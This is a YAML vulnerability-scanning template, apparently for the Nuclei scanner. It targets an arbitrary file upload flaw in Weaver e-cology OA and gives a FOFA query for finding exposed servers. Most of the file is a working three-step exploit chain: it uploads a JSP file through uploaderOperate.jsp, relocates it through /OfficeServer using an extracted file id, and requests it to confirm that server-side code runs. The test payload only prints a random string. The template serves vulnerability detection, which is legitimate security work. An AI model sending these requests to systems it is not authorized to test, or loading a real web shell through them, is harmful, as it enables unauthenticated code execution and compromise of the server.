id: weaver-uploadoperation-file-upload

info:
  name: Weaver OA Workrelate - Arbitary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Ecology contains an arbitrary file upload vulnerability. An attacker can upload arbitrary files to the server, which in turn can be used to make the application execute file content as code, As a result, an attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/weaver-oa-workrelate-file-upload.yaml
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: ecology,fileupload,intrusive

variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
        Accept-Encoding: gzip

        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="secId"

        1
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.jsp"

        <%out.println("{{string}}");%>
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="plandetailid"

        1
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj--
      - |
        POST /OfficeServer HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVdb2RRl25PuaGhWj
        Accept-Encoding: gzip

        ------WebKitFormBoundaryVdb2RRl25PuaGhWj
        Content-Disposition: form-data; name="aaa"

        {"OPTION":"INSERTIMAGE","isInsertImageNew":"1","imagefileid4pic":"{{fileid}}"}
        ------WebKitFormBoundaryVdb2RRl25PuaGhWj--
      - |
        GET /{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: fileid
        internal: true
        group: 1
        regex:
          - "&fileid=(.*?)\\'>"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && contains(body_1,'workrelate/plan/util/ViewDoc')"
          - "status_code_2 == 200 && contains(body_2, 'println')"
          - "status_code_3 == 200 && contains(body_3,'{{string}}')"
        condition: and
# digest: 4a0a0047304502204c8d57a11efd9ee9042e422f64262785a69aa325cf8b2241894585b0014473eb022100bc690b5d71a8e2c839bc29d42c80405773a27e20dce1df6c9454df4b75b8a8fa:922c64590222798bb761d5b6d8e72950